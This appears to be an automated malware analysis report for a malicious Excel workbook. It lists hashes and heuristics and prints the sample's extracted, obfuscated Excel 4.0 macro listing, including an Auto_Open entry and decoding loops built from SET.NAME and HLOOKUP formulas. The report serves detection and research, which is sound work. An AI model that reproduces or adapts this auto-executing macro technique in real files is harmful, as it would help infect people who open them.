Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8eabb54aef5c7016…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:00 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 81dcd947031f8f7fd7f1512b97b3ff64 SHA-1: 20573a21244848ffb4dd4bf7a773e299be38eb96 SHA-256: 8eabb54aef5c7016ab30b5e498be2a7e943a5f6ea67eca6b3b632f5bb7227e5e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6809 bytes
SHA-256: 05a3003380dacb114e754642a552b8bffec58d8d1e70a6265bb9ce0dc6cb1ed2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZMMiLVFsv
' 0018     21 LABEL : Cell Value, String Constant - AulRVn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E160 
' 0018     22 LABEL : Cell Value, String Constant - dRPMxtI len=0 
' 0018     21 LABEL : Cell Value, String Constant - eaBpSH len=0 
' 0018     22 LABEL : Cell Value, String Constant - EUjJRUn len=0 
' 0018     27 LABEL : Cell Value, String Constant - FZlSBAMzLzUY len=0 
' 0018     20 LABEL : Cell Value, String Constant - HhJQr len=0 
' 0018     23 LABEL : Cell Value, String Constant - IwHHUGWZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - JtrBUV len=0 
' 0018     23 LABEL : Cell Value, String Constant - kRwLREUI len=0 
' 0018     20 LABEL : Cell Value, String Constant - LdvPb len=0 
' 0018     27 LABEL : Cell Value, String Constant - MSmaTmJSDEVI len=0 
' 0018     21 LABEL : Cell Value, String Constant - OMNErX len=0 
' 0018     21 LABEL : Cell Value, String Constant - qVtFGK len=0 
' 0018     20 LABEL : Cell Value, String Constant - qwobs len=0 
' 0018     26 LABEL : Cell Value, String Constant - THSGQtiByRR len=0 
' 0018     26 LABEL : Cell Value, String Constant - uZWBzYbgHxd len=0 
' 0018     25 LABEL : Cell Value, String Constant - VQQARtcbPX len=0 
' 0018     22 LABEL : Cell Value, String Constant - XWdIWkF len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZELvrJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - zRkvSoiCnoNb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZMMiLVFsv,E62,"SET.NAME("JtrBUV",0+VALUE("0"))",""
'  ZMMiLVFsv,E66,"SET.NAME("AulRVn",JtrBUV)",""
'  ZMMiLVFsv,E71,"SET.NAME("MSmaTmJSDEVI",JtrBUV)",""
'  ZMMiLVFsv,E73,"SET.NAME("HhJQr",COUNTA(uZWBzYbgHxd))",""
'  ZMMiLVFsv,E77,"SET.NAME("FZlSBAMzLzUY",COUNTA(qVtFGK))",""
'  ZMMiLVFsv,T79,"",-255.00000000000000000000
'  ZMMiLVFsv,T80,"",-687.00000000000000000000
'  ZMMiLVFsv,T81,"",989.00000000000000000000
'  ZMMiLVFsv,E82,[],""
'  ZMMiLVFsv,T82,"",233.00000000000000000000
'  ZMMiLVFsv,T83,"",-730.00000000000000000000
'  ZMMiLVFsv,T84,"",263.00000000000000000000
'  ZMMiLVFsv,E87,"SET.NAME("dRPMxtI","")",""
'  ZMMiLVFsv,E90,"AulRVn",""
'  ZMMiLVFsv,E94,"SET.NAME("LdvPb",HLOOKUP("*",uZWBzYbgHxd,AulRVn,FALSE))",""
'  ZMMiLVFsv,E98,"VQQARtcbPX",""
'  ZMMiLVFsv,E102,"SET.NAME("kRwLREUI",JtrBUV)",""
'  ZMMiLVFsv,E107,[],""
'  ZMMiLVFsv,E110,"kRwLREUI",""
'  ZMMiLVFsv,E113,"THSGQtiByRR",""
'  ZMMiLVFsv,E116,"eaBpSH",""
'  ZMMiLVFsv,E118,"EUjJRUn",""
'  ZMMiLVFsv,E120,"SET.NAME("OMNErX",VALUE(HLOOKUP("*",qVtFGK,EUjJRUn,FALSE)))",""
'  ZMMiLVFsv,E124,"qwobs",""
'  ZMMiLVFsv,E129,"dRPMxtI",""
'  ZMMiLVFsv,E134,"MSmaTmJSDEVI",""
'  ZMMiLVFsv,E139,NEXT(),""
'  ZMMiLVFsv,E142,"IwHHUGWZ",""
'  ZMMiLVFsv,E145,[],""
'  ZMMiLVFsv,E147,"zRkvSoiCnoNb",""
'  ZMMiLVFsv,E152,NEXT(),""
'  ZMMiLVFsv,E155,RETURN(),""
'  ZMMiLVFsv,E187,"SET.NAME("XWdIWkF",E62)",""
'  ZMMiLVFsv,E190,"uZWBzYbgHxd",""
'  ZMMiLVFsv,E193,"SET.NAME("qVtFGK",R64C12)",""
'  ZMMiLVFsv,E196,"SET.NAME("zRkvSoiCnoNb",206)",""
'  ZMMiLVFsv,E200,"SET.NAME("ZELvrJ",5)",""
'  ZMMiLVFsv,E205,XWdIWkF(),""
'  ZMMiLVFsv,E206,HALT(),""

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